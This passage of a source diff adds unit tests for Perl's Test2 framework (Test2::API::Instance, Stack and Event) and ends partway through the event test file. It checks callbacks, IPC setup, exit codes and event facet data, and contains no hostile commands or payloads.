+ is($@, 'app', "altered \$@ in tool (nested)");
+ is($?, 43, "altered \$? in tool (nested)");
+
+ $ctx2->release;
+
+ is(0 + $!, 22, "restored the nested \$! in tool");
+ is($@, 'xyz', "restored the nested \$@ in tool");
+ is($?, 33, "restored the nested \$? in tool");
+ }->();
+
+ sub {
+ my $ctx2 = context();
+
+ $! = 42;
+ $@ = 'app';
+ $? = 43;
+
+ is(0 + $!, 42, "altered \$! in tool (nested)");
+ is($@, 'app', "altered \$@ in tool (nested)");
+ is($?, 43, "altered \$? in tool (nested)");
+
+ # Will not warn since $@ is changed
+ $ctx2 = undef;
+
+ is(0 + $!, 42, 'Destroy does not reset $!');
+ is($@, 'app', 'Destroy does not reset $@');
+ is($?, 43, 'Destroy does not reset $?');
+ }->();
+
+ $ctx->release;
+
+ is($ctx->errno, 100, "restored errno");
+ is($ctx->eval_error, 'foobarbaz', "restored eval error");
+ is($ctx->child_error, 123, "restored child exit");
+}->();
+
+
+sub {
+ local $! = 100;
+ local $@ = 'foobarbaz';
+ local $? = 123;
+
+ my $ctx = context();
+
+ is($ctx->errno, 100, "saved errno");
+ is($ctx->eval_error, 'foobarbaz', "saved eval error");
+ is($ctx->child_error, 123, "saved child exit");
+
+ $! = 22;
+ $@ = 'xyz';
+ $? = 33;
+
+ is(0 + $!, 22, "altered \$! in tool");
+ is($@, 'xyz', "altered \$@ in tool");
+ is($?, 33, "altered \$? in tool");
+
+ # Will not warn since $@ is changed
+ $ctx = undef;
+
+ is(0 + $!, 22, "Destroy does not restore \$!");
+ is($@, 'xyz', "Destroy does not restore \$@");
+ is($?, 33, "Destroy does not restore \$?");
+}->();
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Instance.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Instance.t
new file mode 100644
index 00000000000..4238b1dbd96
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Instance.t
@@ -0,0 +1,537 @@
+use strict;
+use warnings;
+
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::Util qw/CAN_THREAD CAN_REALLY_FORK USE_THREADS get_tid/;
+
+ok(1, "Just to get things initialized.");
+
+# We need to control this env var for this test
+$ENV{T2_NO_IPC} = 0;
+# This test relies on TAP being the default formatter for non-canon instances
+$ENV{T2_FORMATTER} = 'TAP';
+
+my $CLASS = 'Test2::API::Instance';
+
+my $one = $CLASS->new;
+is_deeply(
+ $one,
+ {
+ contexts => {},
+
+ finalized => undef,
+ ipc => undef,
+ formatter => undef,
+
+ add_uuid_via => undef,
+
+ ipc_polling => undef,
+ ipc_drivers => [],
+ ipc_timeout => 30,
+ ipc_disabled => 0,
+
+ formatters => [],
+
+ no_wait => 0,
+ loaded => 0,
+
+ exit_callbacks => [],
+ post_load_callbacks => [],
+ context_acquire_callbacks => [],
+ context_init_callbacks => [],
+ context_release_callbacks => [],
+ pre_subtest_callbacks => [],
+
+ stack => [],
+ },
+ "Got initial settings"
+);
+
+%$one = ();
+is_deeply($one, {}, "wiped object");
+
+$one->reset;
+is_deeply(
+ $one,
+ {
+ contexts => {},
+
+ ipc_polling => undef,
+ ipc_drivers => [],
+ ipc_timeout => 30,
+ ipc_disabled => 0,
+
+ add_uuid_via => undef,
+
+ formatters => [],
+
+ finalized => undef,
+ ipc => undef,
+ formatter => undef,
+
+ no_wait => 0,
+ loaded => 0,
+
+ exit_callbacks => [],
+ post_load_callbacks => [],
+ context_acquire_callbacks => [],
+ context_init_callbacks => [],
+ context_release_callbacks => [],
+ pre_subtest_callbacks => [],
+
+ stack => [],
+ },
+ "Reset Object"
+);
+
+ok(!$one->formatter_set, "no formatter set");
+$one->set_formatter('Foo');
+ok($one->formatter_set, "formatter set");
+$one->reset;
+
+my $ran = 0;
+my $callback = sub { $ran++ };
+$one->add_post_load_callback($callback);
+ok(!$ran, "did not run yet");
+is_deeply($one->post_load_callbacks, [$callback], "stored callback for later");
+
+ok(!$one->loaded, "not loaded");
+$one->load;
+ok($one->loaded, "loaded");
+is($ran, 1, "ran the callback");
+
+$one->load;
+is($ran, 1, "Did not run the callback again");
+
+$one->add_post_load_callback($callback);
+is($ran, 2, "ran the new callback");
+is_deeply($one->post_load_callbacks, [$callback, $callback], "stored callback for the record");
+
+like(
+ exception { $one->add_post_load_callback({}) },
+ qr/Post-load callbacks must be coderefs/,
+ "Post-load callbacks must be coderefs"
+);
+
+$one->reset;
+ok($one->ipc, 'got ipc');
+ok($one->finalized, "calling ipc finalized the object");
+
+$one->reset;
+ok($one->stack, 'got stack');
+ok(!$one->finalized, "calling stack did not finaliz the object");
+
+$one->reset;
+ok($one->formatter, 'Got formatter');
+ok($one->finalized, "calling format finalized the object");
+
+$one->reset;
+$one->set_formatter('Foo');
+is($one->formatter, 'Foo', "got specified formatter");
+ok($one->finalized, "calling format finalized the object");
+
+{
+ local $ENV{T2_FORMATTER} = 'TAP';
+ $one->reset;
+ is($one->formatter, 'Test2::Formatter::TAP', "got specified formatter");
+ ok($one->finalized, "calling format finalized the object");
+
+ local $ENV{T2_FORMATTER} = '+Test2::Formatter::TAP';
+ $one->reset;
+ is($one->formatter, 'Test2::Formatter::TAP', "got specified formatter");
+ ok($one->finalized, "calling format finalized the object");
+
+ local $ENV{T2_FORMATTER} = '+A::Fake::Module::That::Should::Not::Exist';
+ $one->reset;
+ like(
+ exception { $one->formatter },
+ qr/COULD NOT LOAD FORMATTER 'A::Fake::Module::That::Should::Not::Exist' \(set by the 'T2_FORMATTER' environment variable\)/,
+ "Bad formatter"
+ );
+}
+
+$ran = 0;
+$one->reset;
+$one->add_exit_callback($callback);
+is(@{$one->exit_callbacks}, 1, "added an exit callback");
+$one->add_exit_callback($callback);
+is(@{$one->exit_callbacks}, 2, "added another exit callback");
+
+like(
+ exception { $one->add_exit_callback({}) },
+ qr/End callbacks must be coderefs/,
+ "Exit callbacks must be coderefs"
+);
+
+$one->reset;
+$one->add_pre_subtest_callback($callback);
+is(@{$one->pre_subtest_callbacks}, 1, "added a pre-subtest callback");
+$one->add_pre_subtest_callback($callback);
+is(@{$one->pre_subtest_callbacks}, 2, "added another pre-subtest callback");
+
+like(
+ exception { $one->add_pre_subtest_callback({}) },
+ qr/Pre-subtest callbacks must be coderefs/,
+ "Pre-subtest callbacks must be coderefs"
+);
+
+if (CAN_REALLY_FORK) {
+ $one->reset;
+ my $pid = fork;
+ die "Failed to fork!" unless defined $pid;
+ unless($pid) { exit 0 }
+
+ is(Test2::API::Instance::_ipc_wait, 0, "No errors");
+
+ $pid = fork;
+ die "Failed to fork!" unless defined $pid;
+ unless($pid) { exit 255 }
+ my @warnings;
+ {
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ is(Test2::API::Instance::_ipc_wait, 255, "Process exited badly");
+ }
+ like($warnings[0], qr/Process .* did not exit cleanly \(wstat: \S+, exit: 255, sig: 0\)/, "Warn about exit");
+
+ $pid = fork;
+ die "Failed to fork!" unless defined $pid;
+ unless($pid) { sleep 20; exit 0 }
+ kill('TERM', $pid) or die "Failed to send signal";
+ @warnings = ();
+ {
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ is(Test2::API::Instance::_ipc_wait, 255, "Process exited badly");
+ }
+ like($warnings[0], qr/Process .* did not exit cleanly \(wstat: \S+, exit: 0, sig: 15\)/, "Warn about exit");
+}
+
+if (CAN_THREAD && $] ge '5.010') {
+ require threads;
+ $one->reset;
+
+ threads->new(sub { 1 });
+ is(Test2::API::Instance::_ipc_wait, 0, "No errors");
+
+ if (threads->can('error')) {
+ threads->new(sub {
+ close(STDERR);
+ close(STDOUT);
+ die "xxx"
+ });
+ my @warnings;
+ {
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ is(Test2::API::Instance::_ipc_wait, 255, "Thread exited badly");
+ }
+ like($warnings[0], qr/Thread .* did not end cleanly: xxx/, "Warn about exit");
+ }
+}
+
+{
+ $one->reset();
+ local $? = 0;
+ $one->set_exit;
+ is($?, 0, "no errors on exit");
+}
+
+{
+ $one->reset();
+ $one->set__tid(1);
+ local $? = 0;
+ $one->set_exit;
+ is($?, 0, "no errors on exit");
+}
+
+{
+ $one->reset();
+ $one->stack->top;
+ $one->no_wait(1);
+ local $? = 0;
+ $one->set_exit;
+ is($?, 0, "no errors on exit");
+}
+
+{
+ $one->reset();
+ $one->stack->top->set_no_ending(1);
+ local $? = 0;
+ $one->set_exit;
+ is($?, 0, "no errors on exit");
+}
+
+{
+ $one->reset();
+ $one->load();
+ $one->stack->top->set_failed(2);
+ local $? = 0;
+ $one->set_exit;
+ is($?, 2, "number of failures");
+}
+
+{
+ $one->reset();
+ $one->load();
+ local $? = 500;
+ $one->set_exit;
+ is($?, 255, "set exit code to a sane number");
+}
+
+{
+ local %INC = %INC;
+ delete $INC{'Test2/IPC.pm'};
+ $one->reset();
+ $one->load();
+ my @events;
+ $one->stack->top->filter(sub { push @events => $_[1]; undef});
+ $one->stack->new_hub;
+ local $? = 0;
+ $one->set_exit;
+ is($?, 255, "errors on exit");
+ like($events[0]->message, qr/Test ended with extra hubs on the stack!/, "got diag");
+}
+
+SKIP: {
+ last SKIP if $] lt "5.008";
+ $one->reset;
+ my $stderr = "";
+ {
+ local $INC{'Test/Builder.pm'} = __FILE__;
+ local $Test2::API::VERSION = '0.002';
+ local $Test::Builder::VERSION = '0.001';
+ local *STDERR;
+ open(STDERR, '>', \$stderr) or print "Failed to open new STDERR";
+
+ $one->set_exit;
+ }
+
+ is($stderr, <<' EOT', "Got warning about version mismatch");
+
+********************************************************************************
+* *
+* Test::Builder -- Test2::API version mismatch detected *
+* *
+********************************************************************************
+ Test2::API Version: 0.002
+Test::Builder Version: 0.001
+
+This is not a supported configuration, you will have problems.
+
+ EOT
+}
+
+SKIP: {
+ last SKIP if $] lt "5.008";
+ require Test2::API::Breakage;
+ no warnings qw/redefine once/;
+ my $ran = 0;
+ local *Test2::API::Breakage::report = sub { $ran++; return "foo" };
+ use warnings qw/redefine once/;
+ $one->reset();
+ $one->load();
+
+ my $stderr = "";
+ {
+ local *STDERR;
+ open(STDERR, '>', \$stderr) or print "Failed to open new STDERR";
+ local $? = 255;
+ $one->set_exit;
+ }
+
+ is($stderr, <<" EOT", "Reported bad modules");
+
+You have loaded versions of test modules known to have problems with Test2.
+This could explain some test failures.
+foo
+
+ EOT
+}
+
+
+{
+ $one->reset();
+ $one->load();
+ my @events;
+ $one->stack->top->filter(sub { push @events => $_[1]; undef});
+ $one->stack->new_hub;
+ ok($one->stack->top->ipc, "Have IPC");
+ $one->stack->new_hub;
+ ok($one->stack->top->ipc, "Have IPC");
+ $one->stack->top->set_ipc(undef);
+ ok(!$one->stack->top->ipc, "no IPC");
+ $one->stack->new_hub;
+ local $? = 0;
+ $one->set_exit;
+ is($?, 255, "errors on exit");
+ like($events[0]->message, qr/Test ended with extra hubs on the stack!/, "got diag");
+}
+
+if (CAN_REALLY_FORK) {
+ local $SIG{__WARN__} = sub { };
+ $one->reset();
+ my $pid = fork;
+ die "Failed to fork!" unless defined $pid;
+ unless ($pid) { exit 255 }
+ $one->_finalize;
+ $one->stack->top;
+
+ local $? = 0;
+ $one->set_exit;
+ is($?, 255, "errors on exit");
+
+ $one->reset();
+ $pid = fork;
+ die "Failed to fork!" unless defined $pid;
+ unless ($pid) { exit 255 }
+ $one->_finalize;
+ $one->stack->top;
+
+ local $? = 122;
+ $one->set_exit;
+ is($?, 122, "kept original exit");
+}
+
+{
+ my $ctx = bless {
+ trace => Test2::EventFacet::Trace->new(frame => ['Foo::Bar', 'Foo/Bar.pm', 42, 'xxx']),
+ hub => Test2::Hub->new(),
+ }, 'Test2::API::Context';
+ $one->contexts->{1234} = $ctx;
+
+ local $? = 500;
+ my $warnings = warnings { $one->set_exit };
+ is($?, 255, "set exit code to a sane number");
+
+ is_deeply(
+ $warnings,
+ [
+ "context object was never released! This means a testing tool is behaving very badly at Foo/Bar.pm line 42.\n"
+ ],
+ "Warned about unfreed context"
+ );
+}
+
+{
+ local %INC = %INC;
+ delete $INC{'Test2/IPC.pm'};
+ delete $INC{'threads.pm'};
+ ok(!USE_THREADS, "Sanity Check");
+
+ $one->reset;
+ ok(!$one->ipc, 'IPC not loaded, no IPC object');
+ ok($one->finalized, "calling ipc finalized the object");
+ is($one->ipc_polling, undef, "no polling defined");
+ ok(!@{$one->ipc_drivers}, "no driver");
+
+ if (CAN_THREAD) {
+ local $INC{'threads.pm'} = 1;
+ no warnings 'once';
+ local *threads::tid = sub { 0 } unless threads->can('tid');
+ $one->reset;
+ ok($one->ipc, 'IPC loaded if threads are');
+ ok($one->finalized, "calling ipc finalized the object");
+ ok($one->ipc_polling, "polling on by default");
+ is($one->ipc_drivers->[0], 'Test2::IPC::Driver::Files', "default driver");
+ }
+
+ {
+ local $INC{'Test2/IPC.pm'} = 1;
+ $one->reset;
+ ok($one->ipc, 'IPC loaded if Test2::IPC is');
+ ok($one->finalized, "calling ipc finalized the object");
+ ok($one->ipc_polling, "polling on by default");
+ is($one->ipc_drivers->[0], 'Test2::IPC::Driver::Files', "default driver");
+ }
+
+ require Test2::IPC::Driver::Files;
+ $one->reset;
+ $one->add_ipc_driver('Test2::IPC::Driver::Files');
+ ok($one->ipc, 'IPC loaded if drivers have been added');
+ ok($one->finalized, "calling ipc finalized the object");
+ ok($one->ipc_polling, "polling on by default");
+
+ my $file = __FILE__;
+ my $line = __LINE__ + 1;
+ my $warnings = warnings { $one->add_ipc_driver('Test2::IPC::Driver::Files') };
+ like(
+ $warnings->[0],
+ qr{^IPC driver Test2::IPC::Driver::Files loaded too late to be used as the global ipc driver at \Q$file\E line $line},
+ "Got warning at correct frame"
+ );
+
+ $one->reset;
+ $one->add_ipc_driver('Fake::Fake::XXX');
+ is(
+ exception { $one->ipc },
+ "IPC has been requested, but no viable drivers were found. Aborting...\n",
+ "Failed without viable IPC driver"
+ );
+}
+
+{
+ $one->reset;
+
+ ok(!@{$one->context_init_callbacks}, "no callbacks");
+ is($one->ipc_polling, undef, "no polling, undef");
+
+ $one->disable_ipc_polling;
+ ok(!@{$one->context_init_callbacks}, "no callbacks");
+ is($one->ipc_polling, undef, "no polling, still undef");
+
+ my $cull = 0;
+ no warnings 'once';
+ local *Fake::Hub::cull = sub { $cull++ };
+ use warnings;
+
+ $one->enable_ipc_polling;
+ ok(defined($one->{_pid}), "pid is defined");
+ ok(defined($one->{_tid}), "tid is defined");
+ is(@{$one->context_init_callbacks}, 1, "added the callback");
+ is($one->ipc_polling, 1, "polling on");
+ $one->set_ipc_shm_last('abc1');
+ $one->context_init_callbacks->[0]->({'hub' => 'Fake::Hub'});
+ is($cull, 1, "called cull once");
+ $cull = 0;
+
+ $one->disable_ipc_polling;
+ is(@{$one->context_init_callbacks}, 1, "kept the callback");
+ is($one->ipc_polling, 0, "no polling, set to 0");
+ $one->set_ipc_shm_last('abc3');
+ $one->context_init_callbacks->[0]->({'hub' => 'Fake::Hub'});
+ is($cull, 0, "did not call cull");
+ $cull = 0;
+
+ $one->enable_ipc_polling;
+ is(@{$one->context_init_callbacks}, 1, "did not add the callback");
+ is($one->ipc_polling, 1, "polling on");
+ $one->set_ipc_shm_last('abc3');
+ $one->context_init_callbacks->[0]->({'hub' => 'Fake::Hub'});
+ is($cull, 1, "called cull once");
+}
+
+{
+ require Test2::IPC::Driver::Files;
+
+ local $ENV{T2_NO_IPC} = 1;
+ $one->reset;
+ $one->add_ipc_driver('Test2::IPC::Driver::Files');
+ ok($one->ipc_disabled, "IPC is disabled by env var");
+ ok(!$one->ipc, 'IPC not loaded');
+
+ local $ENV{T2_NO_IPC} = 0;
+ $one->reset;
+ ok(!$one->ipc_disabled, "IPC is not disabled by env var");
+ ok($one->ipc, 'IPC loaded');
+ like(
+ exception { $one->ipc_disable },
+ qr/Attempt to disable IPC after it has been initialized/,
+ "Cannot diable IPC once it is initialized"
+ );
+
+ $one->reset;
+ ok(!$one->ipc_disabled, "IPC is not disabled by env var");
+ $one->ipc_disable;
+ ok($one->ipc_disabled, "IPC is disabled directly");
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Stack.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Stack.t
new file mode 100644
index 00000000000..c2016e292ed
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Stack.t
@@ -0,0 +1,79 @@
+use strict;
+use warnings;
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API::Stack;
+use Test2::API qw/test2_ipc/;
+
+ok(my $stack = Test2::API::Stack->new, "Create a stack");
+
+ok(!@$stack, "Empty stack");
+ok(!$stack->peek, "Nothing to peek at");
+
+ok(!exception { $stack->cull }, "cull lives when stack is empty");
+ok(!exception { $stack->all }, "all lives when stack is empty");
+ok(!exception { $stack->clear }, "clear lives when stack is empty");
+
+like(
+ exception { $stack->pop(Test2::Hub->new) },
+ qr/No hubs on the stack/,
+ "No hub to pop"
+);
+
+my $hub = Test2::Hub->new;
+ok($stack->push($hub), "pushed a hub");
+
+like(
+ exception { $stack->pop($hub) },
+ qr/You cannot pop the root hub/,
+ "Root hub cannot be popped"
+);
+
+$stack->push($hub);
+like(
+ exception { $stack->pop(Test2::Hub->new) },
+ qr/Hub stack mismatch, attempted to pop incorrect hub/,
+ "Must specify correct hub to pop"
+);
+
+is_deeply(
+ [ $stack->all ],
+ [ $hub, $hub ],
+ "Got all hubs"
+);
+
+ok(!exception { $stack->pop($hub) }, "Popped the correct hub");
+
+is_deeply(
+ [ $stack->all ],
+ [ $hub ],
+ "Got all hubs"
+);
+
+is($stack->peek, $hub, "got the hub");
+is($stack->top, $hub, "got the hub");
+
+$stack->clear;
+
+is_deeply(
+ [ $stack->all ],
+ [ ],
+ "no hubs"
+);
+
+ok(my $top = $stack->top, "Generated a top hub");
+is($top->ipc, test2_ipc, "Used sync's ipc");
+ok($top->format, 'Got formatter');
+
+is($stack->top, $stack->top, "do not generate a new top if there is already a top");
+
+ok(my $new = $stack->new_hub(), "Add a new hub");
+is($stack->top, $new, "new one is on top");
+is($new->ipc, $top->ipc, "inherited ipc");
+is($new->format, $top->format, "inherited formatter");
+
+my $new2 = $stack->new_hub(formatter => undef, ipc => undef);
+ok(!$new2->ipc, "built with no ipc");
+ok(!$new2->format, "built with no formatter");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event.t
new file mode 100644
index 00000000000..6a414f7be90
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event.t
@@ -0,0 +1,714 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::Event();
+use Test2::EventFacet::Trace();
+use Test2::Event::Generic;
+
+use Test2::API qw/context/;
+use Scalar::Util qw/reftype/;
+
+tests old_api => sub {
+ {
+ package My::MockEvent;
+
+ use base 'Test2::Event';
+ use Test2::Util::HashBase qw/foo bar baz/;
+ }
+
+ ok(My::MockEvent->can($_), "Added $_ accessor") for qw/foo bar baz/;
+
+ my $one = My::MockEvent->new(trace => 'fake');
+
+ ok(!$one->causes_fail, "Events do not cause failures by default");
+
+ ok(!$one->$_, "$_ is false by default") for qw/increments_count terminate global/;
+
+ ok(!$one->get_meta('xxx'), "no meta-data associated for key 'xxx'");
+
+ $one->set_meta('xxx', '123');
+
+ is($one->meta('xxx'), '123', "got meta-data");
+
+ is($one->meta('xxx', '321'), '123', "did not use default");
+
+ is($one->meta('yyy', '1221'), '1221', "got the default");
+
+ is($one->meta('yyy'), '1221', "last call set the value to the default for future use");
+
+ is($one->summary, 'My::MockEvent', "Default summary is event package");
+
+ is($one->diagnostics, 0, "Not diagnostics by default");
+};
+
+tests deprecated => sub {
+ my $e = Test2::Event->new(trace => Test2::EventFacet::Trace->new(frame => ['foo', 'foo.pl', 42], nested => 2, hid => 'maybe'));
+
+ my $warnings = warnings {
+ local $ENV{AUTHOR_TESTING} = 1;
+ is($e->nested, 2, "Got nested from the trace");
+ is($e->in_subtest, 'maybe', "got hid from trace");
+
+ $e->trace->{nested} = 0;
+
+ local $ENV{AUTHOR_TESTING} = 0;
+ is($e->nested, 0, "Not nested");
+ is($e->in_subtest, undef, "Did not get hid");
+ };
+
+ is(@$warnings, 2, "got warnings once each");
+ like($warnings->[0], qr/Use of Test2::Event->nested\(\) is deprecated/, "Warned about deprecation");
+ like($warnings->[1], qr/Use of Test2::Event->in_subtest\(\) is deprecated/, "Warned about deprecation");
+};
+
+tests facet_data => sub {
+ my $e = Test2::Event::Generic->new(
+ causes_fail => 0,
+ increments_count => 0,
+ diagnostics => 0,
+ no_display => 0,
+ callback => undef,
+ terminate => undef,
+ global => undef,
+ sets_plan => undef,
+ summary => undef,
+ facet_data => undef,
+ );
+
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0
+ },
+ },
+ "Facet data has control with onyl false values, and an about"
+ );
+
+ $e->set_trace(Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]));
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ },
+ "Got a trace now"
+ );
+
+ $e->set_causes_fail(1);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ errors => [
+ {
+ tag => 'FAIL',
+ details => 'Test2::Event::Generic',
+ fail => 1,
+ }
+ ],
+ },
+ "Got an error"
+ );
+
+ $e->set_increments_count(1);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 0,
+ details => 'Test2::Event::Generic',
+ },
+ },
+ "Got an assert now"
+ );
+
+ $e->set_causes_fail(0);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ },
+ "Got a passing assert now"
+ );
+
+ $e->set_global(1);
+ $e->set_terminate(255);
+ $e->set_callback(sub {1});
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => 255,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ },
+ "control fields were altered"
+ );
+
+ my $data;
+ {
+ no warnings 'once';
+ local *Test2::Event::Generic::subtest_id = sub { 123 };
+ $data = $e->facet_data;
+ }
+ is_deeply(
+ $data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => 255,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ parent => {hid => 123},
+ },
+ "Added parent"
+ );
+
+ $e->set_meta('foo', {a => 1});
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => 255,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ meta => {foo => {a => 1}},
+ },
+ "Grabbed meta"
+ );
+
+
+ $e->set_sets_plan([5]);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => 255,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ meta => {foo => {a => 1}},
+ plan => { count => 5 },
+ },
+ "Plan facet added"
+ );
+
+ $e->set_terminate(undef);
+ $e->set_sets_plan([0, SKIP => 'because']);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => 0,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ meta => {foo => {a => 1}},
+ plan => { count => 0, skip => 1, details => 'because' },
+ },
+ "Plan set terminate, skip, and details"
+ );
+
+ $e->set_sets_plan([0, 'NO PLAN' => 'because']);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => undef,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ meta => {foo => {a => 1}},
+ plan => { count => 0, none => 1, details => 'because' },
+ },
+ "Plan does not set terminate, but sets 'none' and 'details'"
+ );
+
+ $e->add_amnesty({tag => 'foo', details => 'bar'});
+ $e->add_amnesty({tag => 'baz', details => 'bat'});
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => undef,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ meta => {foo => {a => 1}},
+ plan => { count => 0, none => 1, details => 'because' },
+ amnesty => [
+ { tag => 'foo', details => 'bar' },
+ { tag => 'baz', details => 'bat' },
+ ],
+ },
+ "Amnesty added"
+ );
+
+ $e = Test2::Event::Generic->new();
+ $e->set_diagnostics(1);
+ $e->set_no_display(1);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => 1,
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0,
+ },
+ },
+ "No Info"
+ );
+
+ $e->set_no_display(0);
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef,
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0,
+ },
+ info => [{
+ details => 'Test2::Event::Generic',
+ tag => 'DIAG',
+ debug => 1,
+ }],
+ },
+ "Got debug Info"
+ );
+
+ $e->set_summary("foo bar baz");
+ is_deeply(
+ $e->facet_data,
+ {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'foo bar baz',
+ no_display => undef,
+ },
+ control => {
+ has_callback => 0,
+ terminate => undef,
+ global => 0,
+ },
+ info => [{
+ details => 'foo bar baz',
+ tag => 'DIAG',
+ debug => 1,
+ }],
+ },
+ "Got debug Info with summary change"
+ );
+};
+
+tests facets => sub {
+ my $data = {
+ about => {
+ package => 'Test2::Event::Generic',
+ details => 'Test2::Event::Generic',
+ no_display => undef
+ },
+ control => {
+ has_callback => 1,
+ terminate => undef,
+ global => 1,
+ },
+ trace => {
+ frame => ['foo', 'foo.t', 42],
+ pid => $$,
+ tid => 0,
+ },
+ assert => {
+ no_debug => 1,
+ pass => 1,
+ details => 'Test2::Event::Generic',
+ },
+ meta => {foo => {a => 1}},
+ plan => {count => 0, none => 1, details => 'because'},
+ parent => {hid => 123, children => []},
+ amnesty => [
+ {tag => 'foo', details => 'bar'},
+ {tag => 'baz', details => 'bat'},
+ ],
+ info => [
+ {
+ details => 'foo bar baz',
+ tag => 'DIAG',
+ debug => 1,
+ }
+ ],
+ errors => [{
+ tag => 'FAIL',
+ details => 'Test2::Event::Generic',
+ fail => 1,
+ }],
+ };
+
+ my $e = Test2::Event::Generic->new(facet_data => $data);
